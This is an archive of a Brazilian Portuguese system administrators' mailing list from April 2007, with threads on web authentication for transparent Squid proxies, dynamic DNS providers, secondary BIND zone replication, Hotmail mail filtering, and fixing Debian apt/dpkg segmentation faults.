Acredito que vc possa utilizar o OpenBSD com Authpf:

ftp://ftp.openbsd.org/pub/OpenBSD/doc/pf-faq.pdf

Pra configurar o proxy transparente no openbsd segue:

http://www.openbsd-br.org/index.php?q=node/15


> Bom dia,
> 
> Acredito que esse artigo possa te ajudar:
> http://gbr.g8nic.com.br/meusArtigos/nocat.txt
> 
> um amigo que escreveu, caso voc? tenha alguma duvida, n?o hesite em
> perguntar! Com certeza quando ele tiver um tempo ele vai responder. Abra?os
> e boa sorte!
> 
> On 4/27/07, Lucio de Aquino Marinho <aquino at ecosistemas.com.br> wrote:
>>
>> Bom dia Amigos da Lista
>>
>>   esta solu??o esta com cara de captive portal , nesta seara temos o
>> m0n0wall , pequeno , r?pido e com muitas features interessante , valida
>> no radius , seta a banda de download , upload , etc . Vale uma espiada
>>
>>
>> m0n0wall already provides many of the features of expensive commercial
>> firewalls, including:
>>
>>     * web interface (supports SSL)
>>     * serial console interface for recovery
>>           o set LAN IP address
>>           o reset password
>>           o restore factory defaults
>>           o reboot system
>>     * wireless support (access point with PRISM-II/2.5/3 cards, BSS/IBSS
>>       with other cards including Cisco)
>>     * captive portal
>>     * 802.1Q VLAN support
>>     * stateful packet filtering
>>           o block/pass rules
>>           o logging
>>     * NAT/PAT (including 1:1)
>>     * DHCP client, PPPoE, PPTP and Telstra BigPond Cable support on the
>>       WAN interface
>>     * IPsec VPN tunnels (IKE; with support for hardware crypto cards,
>>       mobile clients and certificates)
>>     * PPTP VPN (with RADIUS server support)
>>     * static routes
>>     * DHCP server and relay
>>     * caching DNS forwarder
>>     * DynDNS client and RFC 2136 DNS updater
>>     * SNMP agent
>>     * traffic shaper
>>     * SVG-based traffic grapher
>>     * firmware upgrade through the web browser
>>     * Wake on LAN client
>>     * configuration backup/restore
>>     * host/network aliases
>>
>>
>>
>>
>>
>> Marcelo Salavee Lemos escreveu:
>>> Edison,
>>>
>>>
>>> D? uma olhada em "NoCatAuth"
>>>
>>> Abra?os,
>>> Ultra7
>>>
>>> Edison Bortolin wrote:
>>>
>>>> Ol?,
>>>>
>>>> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar
>>>> usu?rios para o squid" funcionando como proxy transparente?
>>>>
>>>> Obrigado,
>>>>
>>>> Edison
>>>> __
>>>> masoch-l list
>>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>>
>>>>
>>>
>>> ---------------------------------------------------------------------
>>> Esta mensagem pode conter informacao confidencial.
>>> Se voce nao for o destinatario ou a pessoa autorizada a receber
>>> esta mensagem, nao podera usar, copiar ou divulgar as informacoes nela
>>> contidas ou tomar qualquer acao baseada nessas informacoes. Se
>>> voce recebeu esta mensagem por engano, favor avisar imediatamente o
>>> remetente, respondendo o e-mail e, em seguida, apague-o.
>>> Agradecemos sua cooperacao.
>>>
>>> This message may contain confidential information.
>>> If you are not the addressee or authorized person to receive it for the
>>> addressee, you must not use, copy, disclose or take any action based on
>>> this message or any information herein. If you have received this
>> message
>>> in error, please advise the sender immediately by replying this e-mail
>>> message and delete it.
>>> Thanks in advance for your cooperation.
>>> ----------------------------------------------------------------------
>>>                   LIM20 Faculdade de Medicina USP
>>> ----------------------------------------------------------------------
>>>
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
> 
> 
> 



From edu.sistemas at gmail.com  Fri Apr 27 09:42:56 2007
From: edu.sistemas at gmail.com (Carlos Eduardo Pereira)
Date: Fri, 27 Apr 2007 09:42:56 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
	=?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <4631DC36.6040505@uol.com.br>
References: <462F9146.9080207@tpn.com.br> <462FA31D.1050008@tpn.com.br>
	<200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
	<4631D8AB.1050903@experimental.fm.usp.br>
	<4631D9B5.7090208@ecosistemas.com.br>
	<aecb138d0704270420m24f53881qa2e24b72c07f150f@mail.gmail.com>
	<4631DC36.6040505@uol.com.br>
Message-ID: <6fcb787a0704270542j2c975914hfc6da169fe384510@mail.gmail.com>

Ola,

As documenta??es est?o clareando bastante minhas ideias. Muito Obrigado a
todos.


On 4/27/07, GIULIANO (UOL) <giulianocm at uol.com.br> wrote:
>
> Tem tambem o pfsense:
>
> http://www.pfsense.com/
>
> Acredito que vc possa utilizar o OpenBSD com Authpf:
>
> ftp://ftp.openbsd.org/pub/OpenBSD/doc/pf-faq.pdf
>
> Pra configurar o proxy transparente no openbsd segue:
>
> http://www.openbsd-br.org/index.php?q=node/15
>
>
> > Bom dia,
> >
> > Acredito que esse artigo possa te ajudar:
> > http://gbr.g8nic.com.br/meusArtigos/nocat.txt
> >
> > um amigo que escreveu, caso voc? tenha alguma duvida, n?o hesite em
> > perguntar! Com certeza quando ele tiver um tempo ele vai responder.
> Abra?os
> > e boa sorte!
> >
> > On 4/27/07, Lucio de Aquino Marinho <aquino at ecosistemas.com.br> wrote:
> >>
> >> Bom dia Amigos da Lista
> >>
> >>   esta solu??o esta com cara de captive portal , nesta seara temos o
> >> m0n0wall , pequeno , r?pido e com muitas features interessante , valida
> >> no radius , seta a banda de download , upload , etc . Vale uma espiada
> >>
> >>
> >> m0n0wall already provides many of the features of expensive commercial
> >> firewalls, including:
> >>
> >>     * web interface (supports SSL)
> >>     * serial console interface for recovery
> >>           o set LAN IP address
> >>           o reset password
> >>           o restore factory defaults
> >>           o reboot system
> >>     * wireless support (access point with PRISM-II/2.5/3 cards,
> BSS/IBSS
> >>       with other cards including Cisco)
> >>     * captive portal
> >>     * 802.1Q VLAN support
> >>     * stateful packet filtering
> >>           o block/pass rules
> >>           o logging
> >>     * NAT/PAT (including 1:1)
> >>     * DHCP client, PPPoE, PPTP and Telstra BigPond Cable support on the
> >>       WAN interface
> >>     * IPsec VPN tunnels (IKE; with support for hardware crypto cards,
> >>       mobile clients and certificates)
> >>     * PPTP VPN (with RADIUS server support)
> >>     * static routes
> >>     * DHCP server and relay
> >>     * caching DNS forwarder
> >>     * DynDNS client and RFC 2136 DNS updater
> >>     * SNMP agent
> >>     * traffic shaper
> >>     * SVG-based traffic grapher
> >>     * firmware upgrade through the web browser
> >>     * Wake on LAN client
> >>     * configuration backup/restore
> >>     * host/network aliases
> >>
> >>
> >>
> >>
> >>
> >> Marcelo Salavee Lemos escreveu:
> >>> Edison,
> >>>
> >>>
> >>> D? uma olhada em "NoCatAuth"
> >>>
> >>> Abra?os,
> >>> Ultra7
> >>>
> >>> Edison Bortolin wrote:
> >>>
> >>>> Ol?,
> >>>>
> >>>> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar
> >>>> usu?rios para o squid" funcionando como proxy transparente?
> >>>>
> >>>> Obrigado,
> >>>>
> >>>> Edison
> >>>> __
> >>>> masoch-l list
> >>>> https://eng.registro.br/mailman/listinfo/masoch-l
> >>>>
> >>>>
> >>>
> >>> ---------------------------------------------------------------------
> >>> Esta mensagem pode conter informacao confidencial.
> >>> Se voce nao for o destinatario ou a pessoa autorizada a receber
> >>> esta mensagem, nao podera usar, copiar ou divulgar as informacoes nela
> >>> contidas ou tomar qualquer acao baseada nessas informacoes. Se
> >>> voce recebeu esta mensagem por engano, favor avisar imediatamente o
> >>> remetente, respondendo o e-mail e, em seguida, apague-o.
> >>> Agradecemos sua cooperacao.
> >>>
> >>> This message may contain confidential information.
> >>> If you are not the addressee or authorized person to receive it for
> the
> >>> addressee, you must not use, copy, disclose or take any action based
> on
> >>> this message or any information herein. If you have received this
> >> message
> >>> in error, please advise the sender immediately by replying this e-mail
> >>> message and delete it.
> >>> Thanks in advance for your cooperation.
> >>> ----------------------------------------------------------------------
> >>>                   LIM20 Faculdade de Medicina USP
> >>> ----------------------------------------------------------------------
> >>>
> >>> __
> >>> masoch-l list
> >>> https://eng.registro.br/mailman/listinfo/masoch-l
> >>>
> >> __
> >> masoch-l list
> >> https://eng.registro.br/mailman/listinfo/masoch-l
> >>
> >
> >
> >
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From edison at coslinux.com.br  Fri Apr 27 10:04:26 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Fri, 27 Apr 2007 06:04:26 -0700
Subject: [MASOCH-L]
 =?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
 =?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <6fcb787a0704270542j2c975914hfc6da169fe384510@mail.gmail.com>
References: <462F9146.9080207@tpn.com.br>
	<462FA31D.1050008@tpn.com.br>	<200704251634.22434.lyra@pop-pr.rnp.br>	<462FAF07.8020801@ecosistemas.com.br>	<462FB6AA.8090201@standardnet.com.br>	<462FCBE5.3090401@coslinux.com.br>	<4631D8AB.1050903@experimental.fm.usp.br>	<4631D9B5.7090208@ecosistemas.com.br>	<aecb138d0704270420m24f53881qa2e24b72c07f150f@mail.gmail.com>	<4631DC36.6040505@uol.com.br>
	<6fcb787a0704270542j2c975914hfc6da169fe384510@mail.gmail.com>
Message-ID: <4631F4DA.6060204@coslinux.com.br>

Tamb?m agrade?o a todos pelas respostas!

Obrigado,

Edison

Carlos Eduardo Pereira escreveu:
> Ola,
>
> As documenta??es est?o clareando bastante minhas ideias. Muito Obrigado a
> todos.
>
>
> On 4/27/07, GIULIANO (UOL) <giulianocm at uol.com.br> wrote:
>   
>> Tem tambem o pfsense:
>>
>> http://www.pfsense.com/
>>
>> Acredito que vc possa utilizar o OpenBSD com Authpf:
>>
>> ftp://ftp.openbsd.org/pub/OpenBSD/doc/pf-faq.pdf
>>
>> Pra configurar o proxy transparente no openbsd segue:
>>
>> http://www.openbsd-br.org/index.php?q=node/15
>>
>>     
>



From danton at inexo.com.br  Fri Apr 27 10:20:21 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Fri, 27 Apr 2007 10:20:21 -0300 (BRT)
Subject: [MASOCH-L]
 =?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
 =?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <4631F4DA.6060204@coslinux.com.br>
References: <462F9146.9080207@tpn.com.br> <462FA31D.1050008@tpn.com.br>
	<200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
	<4631D8AB.1050903@experimental.fm.usp.br>
	<4631D9B5.7090208@ecosistemas.com.br>
	<aecb138d0704270420m24f53881qa2e24b72c07f150f@mail.gmail.com>
	<4631DC36.6040505@uol.com.br>
	<6fcb787a0704270542j2c975914hfc6da169fe384510@mail.gmail.com>
	<4631F4DA.6060204@coslinux.com.br>
Message-ID: <Pine.LNX.4.60.0704271012550.5759@newquantum.inexo.com.br>

On Fri, 27 Apr 2007, Edison Bortolin wrote:

> Tamb?m agrade?o a todos pelas respostas!

sem querer por muita areia nisto, advirto que todas as "solu??es" 
mostradas partem de um princ?pio equivocado, de que existe uma associa??o 
biun?voca entre usu?rio e endere?o IP. N?o ? dif?cil mostrar um exemplo em 
que essa associa??o n?o acontece: um servidor de terminais (windows 2003 
server, p.ex.) com v?rios usu?rios rodando terminais. essa ? uma 
configura??o super comum com os chamados 'thin-clients'. aqui TODOS os 
usu?rios aparecem com o mesmo endere?o IP, o do servidor. E sgora, como 
ficamos? esse IP ? "autenticado" com o perfil de quem? do primeiro que 
chegar?

mutatis mutandi, na mesma rede pode haver mais de um servidor e o mesmo 
usu?rio pode ter uma sess?o aberta em cada um, agora um s? usu?rio tem 
v?rios IPs.

finalmente, qual ? o crit?rio de 'logout', lembrando que IP ? 
'sessionless'? timeout?

N?o adianta nada fazer um sistema elaborado sobre fundamentos falsos. 
Depois n?o venham reclamar que seu genial esquema de autentica??o foi 
quebrado.


From rodrigo.trevisaneli at gmail.com  Fri Apr 27 11:11:37 2007
From: rodrigo.trevisaneli at gmail.com (Rodrigo Trevisaneli)
Date: Fri, 27 Apr 2007 11:11:37 -0300
Subject: [MASOCH-L] dns dinamico com fqdn
Message-ID: <3cc202850704270711n79f4209bied64ed2a82a53eb6@mail.gmail.com>

Sim sim ? pago.
? o que eu uso aqui e funciona bem.

> ------------------------------
>
> Message: 3
> Date: Wed, 25 Apr 2007 21:02:15 -0300
> From: "Rafael Possamai" <rafaelpossa at gmail.com>
> Subject: Re: [MASOCH-L] dns dinamico com fqdn
> To: "Mail Aid and Succor,On-line Comfort and Help"
>        <masoch-l at eng.registro.br>
> Message-ID: <00f501c78796$29c355e0$0200a8c0 at OASIS>
> Content-Type: text/plain; format=flowed; charset="iso-8859-1";
>        reply-type=original
>
> no no-ip dns dinamico com fqdn  ? pago pelo que eu sei... gr?tis s? aqueles
> subdom?nios, ou eles tem algo parecido?
>
> ----- Original Message -----
> From: "Rodrigo Trevisaneli" <rodrigo.trevisaneli at gmail.com>
> Subject: Re: [MASOCH-L] dns dinamico com fqdn
>
>
> > http://www.no-ip.com/
> >
>
>


From rafaelpossa at gmail.com  Fri Apr 27 12:44:30 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Fri, 27 Apr 2007 12:44:30 -0300
Subject: [MASOCH-L] dns dinamico com fqdn
References: <3cc202850704270711n79f4209bied64ed2a82a53eb6@mail.gmail.com>
Message-ID: <003401c788e2$f54ae0a0$0200a8c0@OASIS>

comecei a usar o freedns.afraid, est? ok, vamos ver daqui uns 2 meses se 
ficou est?vel.o everydns tamb?m ? bom, mas o cliente de update dele ? em 
perl e n?o aceita muitas tentativas de update por hora, j? o afraid com um 
'wget sua_url_de_update' vc j? atualiza o IP quantas vezes precisar, ? mais 
pr?tico. s? preciso ver agora qual tem o menor tempo de atualiza??o dos 
nameservers. deve ser parecido.

grato,
rafael


----- Original Message ----- 
From: "Rodrigo Trevisaneli" <rodrigo.trevisaneli at gmail.com>
To: <masoch-l at eng.registro.br>
Sent: Friday, April 27, 2007 11:11 AM
Subject: Re: [MASOCH-L] dns dinamico com fqdn


Sim sim ? pago.
? o que eu uso aqui e funciona bem. 



From humberto at hss.blog.br  Fri Apr 27 15:29:34 2007
From: humberto at hss.blog.br (Humberto Sartini)
Date: Fri, 27 Apr 2007 15:29:34 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?Aceita=E7=E3o_autom=E1tico_de_DNS_Secun?=
	=?iso-8859-1?q?d=E1rio?=
Message-ID: <db9092000704271129t5712d52ua878d9c611edf3bc@mail.gmail.com>

Ol? a todos,

   Surgiu uma situa??o, uma tanto quanto bizarra, que irei explicar:

   Servidor 1
   BIND Server 9.2.4
   DNS Prim?rio
   Windows 2003

   Servidor 2
   BIND Server 9.qualquercoisa
   DNS Secund?rio
   Linux

   A id?ia bizarra ? assim, quando ocorrer a inclus?o de uma nova zona
no DNS Prim?rio, automaticamente (ou melhor magicamente) ocorreria a
aceita??o da nova zona no DNS Secund?rio, sem nenhuma configura??o
pr?via do novo dom?nio.

   ? poss?vel essa opera??o ??

   Se for o caso posso alterar o servidor de DNS do servidor secund?rio.


-- 
[ ]'s
Humberto Sartini
Certificado LPIC-1
http://www.hss.blog.br
PGP KEY ID 0xB32E5C8D


From MBORBA at trf3.gov.br  Fri Apr 27 16:22:05 2007
From: MBORBA at trf3.gov.br (MARLON BORBA)
Date: Fri, 27 Apr 2007 16:22:05 -0300
Subject: [MASOCH-L]
 =?windows-1252?q?Aceita=E7=E3o_autom=E1tico_de_DNS_Sec?=
 =?windows-1252?q?un_d=E1rio?=
Message-ID: <s6322346.075@server-trf8.trf3.gov.br>

Esse ? o comportamento-padr?o do BIND. Quando voc? configura um servidor como DNS secund?rio ("slave") precisa dizer quem s?o os "masters" de cada dom?nio. Assim, ao atualizar a zona, ela ? automaticamente replicada para os secund?rios.

Assim deve funcionar n?o importa qual seja a plataforma (embora um Linux seja a melhor forma de  hospedar um BIND).

H? uma vasta documenta??o na Internet explicando como fazer isso.



Abra?os,

Marlon Borba, CISSP, APC DataCenter Associate
T?cnico Judici?rio - Seguran?a da Informa??o
TRF 3 Regi?o
(11) 3012-1683
--
Dont just sit there and think it does not matter.
-Security is the problem we love to ignore.
(David Clark, 1992)
--

>>> humberto at hss.blog.br 27/4/2007 15:29:34 >>>
Ol? a todos,

   Surgiu uma situa??o, uma tanto quanto bizarra, que irei explicar:

   Servidor 1
   BIND Server 9.2.4
   DNS Prim?rio
   Windows 2003

   Servidor 2
   BIND Server 9.qualquercoisa
   DNS Secund?rio
   Linux

   A id?ia bizarra ? assim, quando ocorrer a inclus?o de uma nova zona
no DNS Prim?rio, automaticamente (ou melhor magicamente) ocorreria a
aceita??o da nova zona no DNS Secund?rio, sem nenhuma configura??o
pr?via do novo dom?nio.

   ? poss?vel essa opera??o ??

   Se for o caso posso alterar o servidor de DNS do servidor secund?rio.


-- 
[ ]'s
Humberto Sartini
Certificado LPIC-1
http://www.hss.blog.br 
PGP KEY ID 0xB32E5C8D
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l



From humberto at hss.blog.br  Fri Apr 27 16:37:57 2007
From: humberto at hss.blog.br (Humberto Sartini)
Date: Fri, 27 Apr 2007 16:37:57 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Aceita=E7=E3o_autom=E1tico_de_DNS_Secun?=
	=?iso-8859-1?q?_d=E1rio?=
In-Reply-To: <s6322346.076@server-trf8.trf3.gov.br>
References: <s6322346.076@server-trf8.trf3.gov.br>
Message-ID: <db9092000704271237l4fe4dad9t865139da29fc689f@mail.gmail.com>

Ol?,

  Obrigado pela resposta, por?m quanto ao funcionamento padr?o do BIND
n?o h? d?vidas, por esse motivo enviei a pergunta, e informei que era
uma situa??o "bizarra". A quest?o ? saber se existe algum servidor de
DNS (BIND ou qualquer outro) que permita efetuar essa "bizarrice" :-)

-- 
[ ]'s
Humberto Sartini
Certificado LPIC-1
http://www.hss.blog.br
PGP KEY ID 0xB32E5C8D


On 4/27/07, MARLON BORBA <MBORBA at trf3.gov.br> wrote:
> Esse ? o comportamento-padr?o do BIND. Quando voc? configura um servidor como DNS secund?rio ("slave") precisa dizer quem s?o os "masters" de cada dom?nio. Assim, ao atualizar a zona, ela ? automaticamente replicada para os secund?rios.
>
> Assim deve funcionar n?o importa qual seja a plataforma (embora um Linux seja a melhor forma de  hospedar um BIND).
>
> H? uma vasta documenta??o na Internet explicando como fazer isso.
>
>
>
> Abra?os,
>
> Marlon Borba, CISSP, APC DataCenter Associate
> T?cnico Judici?rio - Seguran?a da Informa??o
> TRF 3 Regi?o
> (11) 3012-1683
> --
> Dont just sit there and think it does not matter.
> -Security is the problem we love to ignore.
> (David Clark, 1992)


From lyra at pop-pr.rnp.br  Fri Apr 27 16:49:01 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Fri, 27 Apr 2007 16:49:01 -0300
Subject: [MASOCH-L]
	=?utf-8?q?RES=3A__Postfix_n=C3=A3o_entrega_para_Hotmai?=
	=?utf-8?q?l?=
In-Reply-To: <Pine.LNX.4.60.0703271525330.4429@newquantum.inexo.com.br>
References: <001601c76d5a$62707590$a801a8c0@uds68514a09ca7>
	<00a801c7709c$0b993eb0$a801a8c0@uds68514a09ca7>
	<Pine.LNX.4.60.0703271525330.4429@newquantum.inexo.com.br>
Message-ID: <200704271649.02086.lyra@pop-pr.rnp.br>


Chegando atrasado na conversa....

Recebi o mesmo relato de dois amigos que administram servidores de mail 
(diferentes).

O curioso da historia ? que se alguem manda uma mensagem a partir do 
hotmail para uma conta nesses servidores, e o usuario da um reply 
funciona!!!

On Tuesday 27 March 2007 15:30, Lao DanTong wrote:
>  On Tue, 27 Mar 2007, Rafael Augusto wrote:
>  > We have identified that messages from your IP xxx.xxx.xxx.xxx are
>  > being filtered based on the recommendations of the SmartScreen
>  > filter. SmartScreen is the spam filtering technology developed and
>  > operated by Microsoft.  SmartScreen is built around the technology
>  > of machine learning. SmartScreen's filters are trained to
>  > recognize what is spam and what isn't spam.  In short, we filter
>  > incoming emails that look like spam.  I am not able to go into any
>  > specific details about what these filters specifically entail, as
>  > this would render them useless.
>
>  essa ?ltima frase ? muito micros?ftica mesmo! security through
>  obscurity...
>
>  j? tive problema com esses filtrinhos vagabundos com mensagens que
> n?o tinham o cabe?alho 'Message-id', que nem ? obrigat?rio, de acordo
> com a RFC2822. Certifique-se de que seu postfix est? carimbando as
> mensagens que envia com um Message-id.
>
>  s? por curiosidade, manda uma das mensagens bloqueadas, estou
> curioso para saber o que o spamassassin e outros filtros de conte?do
> pensam dela. __
>  masoch-l list
>  https://eng.registro.br/mailman/listinfo/masoch-l

-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  Thus spake the master programmer: 
  ``A well-written program is its own heaven; a poorly-written program 
is its own hell.'' 
						The Tao Of Programing


From rafaelpossa at gmail.com  Sat Apr 28 08:05:01 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Sat, 28 Apr 2007 08:05:01 -0300
Subject: [MASOCH-L] erro com apt+dpkg
Message-ID: <000e01c78985$133785d0$0200a8c0@OASIS>

Ol? lista,

    Fui atualizar dois servidores debian com apt e ambos apresentaram o 'mesmo' erro/problema com o apt e o dpkg...

Servidor1(recentemente atualizado para etch):
...
Baixados 3418kB em 2m27s (23,2kB/s)
(Lendo banco de dados ... 28974 arquivos e diret?rios atualmente instalados.)
E: Sub-process /usr/bin/dpkg received a segmentation fault.
...
~# apt-get upgrade
Lendo lista de pacotes... Pronto
Falha de segmenta??oe depend?ncias... 50%
~#
...

Servidor2(sarge ainda, com poucos upgrades do etch):
...
Fetched 23.0MB in 10m28s (36.6kB/s)
Preconfiguring packages ...
(Reading database ... 21132 files and directories currently installed.)
Removing base-config ...
Removing kernel-image-2.4.27-3-386 ... (???)
Remove the running kernel image (not recommended) [No]? no
dpkg: error processing kernel-image-2.4.27-3-386 (--remove):
 subprocess pre-removal script returned error exit status 1
dpkg: initrd-tools: dependency problems, but removing anyway as you request:
 kernel-image-2.4.27-3-386 depends on initrd-tools (>= 0.1.48).
Removing initrd-tools ...
Errors were encountered while processing:
 kernel-image-2.4.27-3-386
E: Sub-process /usr/bin/dpkg returned an error code (1)
~#
...
~# apt-get -f install initrd-tools libdevmapper1.02 9 (tentando por de volta)
Reading Package Lists... Done
Building Dependency Tree... Done
You might want to run `apt-get -f install' to correct these:
The following packages have unmet dependencies:
  libdevmapper1.02: Depends: libc6 (>= 2.3.6-6) but 2.3.2.ds1-22sarge5 is to be installed
                    Depends: libselinux1 (>= 1.30) but 1.22-1 is to be installed
                    Depends: libsepol1 (>= 1.12) but 1.4-1 is to be installed
E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).
~#
...

    Bom, o servidor1 n?o sai disso, e o servidor2 provavelmente vou gastar um tempinho pra arrumar a besteira do apt e minha tamb?m. Pelo jeito se eu rebootar, ele n?o volta, ent?o vou ter que segurar on at? resolver essa confus?o.
     Algu?m j? passou por isso?


Grato,
Rafael




From jorge at acmesecurity.org  Sat Apr 28 10:19:51 2007
From: jorge at acmesecurity.org (Jorge Luiz Correa)
Date: Sat, 28 Apr 2007 10:19:51 -0300
Subject: [MASOCH-L] erro com apt+dpkg
In-Reply-To: <000e01c78985$133785d0$0200a8c0@OASIS>
References: <000e01c78985$133785d0$0200a8c0@OASIS>
Message-ID: <463349F7.3050604@acmesecurity.org>

Atualizei os servidores aqui para etch (stable) e n?o tive problemas.
Tente criar o arquivo (caso n?o exista) chamado apt.conf dentro do
/etc/apt/ com a linha

APT::Default-Release "stable";

Depois tente rodar um apt-get update e um apt-get -f install para
corrigir os erros de depend?ncias. Isto pode ser bom caso utilize alguns
pacotes da testing.

Abra?os!

Rafael Possamai wrote:
> Ol? lista,
>
>     Fui atualizar dois servidores debian com apt e ambos apresentaram o 'mesmo' erro/problema com o apt e o dpkg...
>
> Servidor1(recentemente atualizado para etch):
> ...
> Baixados 3418kB em 2m27s (23,2kB/s)
> (Lendo banco de dados ... 28974 arquivos e diret?rios atualmente instalados.)
> E: Sub-process /usr/bin/dpkg received a segmentation fault.
> ...
> ~# apt-get upgrade
> Lendo lista de pacotes... Pronto
> Falha de segmenta??oe depend?ncias... 50%
> ~#
> ...
>
> Servidor2(sarge ainda, com poucos upgrades do etch):
> ...
> Fetched 23.0MB in 10m28s (36.6kB/s)
> Preconfiguring packages ...
> (Reading database ... 21132 files and directories currently installed.)
> Removing base-config ...
> Removing kernel-image-2.4.27-3-386 ... (???)
> Remove the running kernel image (not recommended) [No]? no
> dpkg: error processing kernel-image-2.4.27-3-386 (--remove):
>  subprocess pre-removal script returned error exit status 1
> dpkg: initrd-tools: dependency problems, but removing anyway as you request:
>  kernel-image-2.4.27-3-386 depends on initrd-tools (>= 0.1.48).
> Removing initrd-tools ...
> Errors were encountered while processing:
>  kernel-image-2.4.27-3-386
> E: Sub-process /usr/bin/dpkg returned an error code (1)
> ~#
> ...
> ~# apt-get -f install initrd-tools libdevmapper1.02 9 (tentando por de volta)
> Reading Package Lists... Done
> Building Dependency Tree... Done
> You might want to run `apt-get -f install' to correct these:
> The following packages have unmet dependencies:
>   libdevmapper1.02: Depends: libc6 (>= 2.3.6-6) but 2.3.2.ds1-22sarge5 is to be installed
>                     Depends: libselinux1 (>= 1.30) but 1.22-1 is to be installed
>                     Depends: libsepol1 (>= 1.12) but 1.4-1 is to be installed
> E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).
> ~#
> ...
>
>     Bom, o servidor1 n?o sai disso, e o servidor2 provavelmente vou gastar um tempinho pra arrumar a besteira do apt e minha tamb?m. Pelo jeito se eu rebootar, ele n?o volta, ent?o vou ter que segurar on at? resolver essa confus?o.
>      Algu?m j? passou por isso?
>
>
> Grato,
> Rafael
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   


-- 
jorge (shift+2) acmesecurity . org
ACME! - Advanced Counter-Measures Environment
Computer Security Research - Unesp





From rafaelpossa at gmail.com  Sat Apr 28 11:37:30 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Sat, 28 Apr 2007 11:37:30 -0300
Subject: [MASOCH-L] erro com apt+dpkg
References: <000e01c78985$133785d0$0200a8c0@OASIS>
	<463349F7.3050604@acmesecurity.org>
Message-ID: <000901c789a2$c3009110$0200a8c0@OASIS>

Opa,

    Obrigado, com esse comando eu resolvi o problema do servidor2, creio que 
no pr?ximo boot n?o vou ter problemas, espero...
    J? o servidor1 continua com o mesmo problema de segmentation fault, 
exemplo:

root at spitfire:~# apt-get -f install (outros comandos tambem, tipo o update, 
check, autoclean, etc)
Lendo lista de pacotes... Pronto
Falha de segmenta??oe depend?ncias... 50%
root at spitfire:~#

    Ser? que ? problema no apt mesmo?
    A respeito da atualiza??o de sarge para etch, eu fiz no servidor1 e n?o 
tive problemas tamb?m, deu tudo certo, j? o servidor2 est? em produ??o e a? 
para evitar crashes e outros problemas vou atualizar mais para frente. Isso 
a? no apt ocorreu hoje somente, at? achei que fosse algum defeito no update.


Grato,
Rafael


----- Original Message ----- 
From: "Jorge Luiz Correa" <jorge at acmesecurity.org>
Subject: Re: [MASOCH-L] erro com apt+dpkg


Atualizei os servidores aqui para etch (stable) e n?o tive problemas.
Tente criar o arquivo (caso n?o exista) chamado apt.conf dentro do
/etc/apt/ com a linha

APT::Default-Release "stable";

Depois tente rodar um apt-get update e um apt-get -f install para
corrigir os erros de depend?ncias. Isto pode ser bom caso utilize alguns
pacotes da testing.

Abra?os!



From jorge at acmesecurity.org  Sat Apr 28 12:09:44 2007
From: jorge at acmesecurity.org (Jorge Luiz Correa)
Date: Sat, 28 Apr 2007 12:09:44 -0300
Subject: [MASOCH-L] erro com apt+dpkg
In-Reply-To: <000901c789a2$c3009110$0200a8c0@OASIS>
References: <000e01c78985$133785d0$0200a8c0@OASIS>	<463349F7.3050604@acmesecurity.org>
	<000901c789a2$c3009110$0200a8c0@OASIS>
Message-ID: <463363B8.5030806@acmesecurity.org>

Ol? Rafael!

Como est? dando Segmentation Fault, provavelmente falta alguma coisa
durante a execu??o do dpkg. Como o linux usa diversas bibliotecas
din?micas, pode ser que algumas delas n?o estejam presentes. Voc? pode
fazer uma checagem. L? vai:

# apt-cache show dpkg
.
.
Pre-Depends: libc6.1 (>= 2.3.5-1), coreutils (>= 5.93-1)
.
.

(Ah, rode o apt-cache show dpkg ai, visto que estou na etch j?, e talvez
as vers?es n?o batam).

Assim, para o dpkg funcionar voc? deve possuir libc6 e coreutils. Veja
que, o processo ? recursivo. libc6 deve ter depend?ncias e coreutils
tamb?m. Como seu apt deu problema, seria necess?rio que voc? instalasse
todas elas na m?o.

Se o seu apt-cache n?o funcionar, voc? pode consultar as depend?ncias
online, no site do debian (um apt online praticamente):

http://www.debian.org/distrib/packages#search_packages

Ent?o, pode baixar os pacotes que faltam. S? que, voc? deve dar um jeito
de instalar estes pacotes. Resta saber como, visto que o dpkg -i
pacote.deb acho que n?o funcionar? tamb?m.

Talvez possa tentar alguma coisa com um livecd, como o kurumim ou
knoppix (que s?o baseados no debian).

Sendo mesmo problema de falta de bibliotecas, no pior caso, talvez
copiando na m?o os arquivos faltantes para os diret?rios corretos o
segmentation fault seja sanado. Em alguma outra m?quina, rode dpkg -L
lig6c para ver os arquivos que ele possui, e onde ficam. Exemplo:

# dpkg -L libc6.1
/.
/lib
/lib/libdl-2.3.6.so
/lib/libcrypt-2.3.6.so
/lib/librt-2.3.6.so
/lib/libcidn-2.3.6.so
/lib/libthread_db-1.0.so
/lib/libnss_compat-2.3.6.so
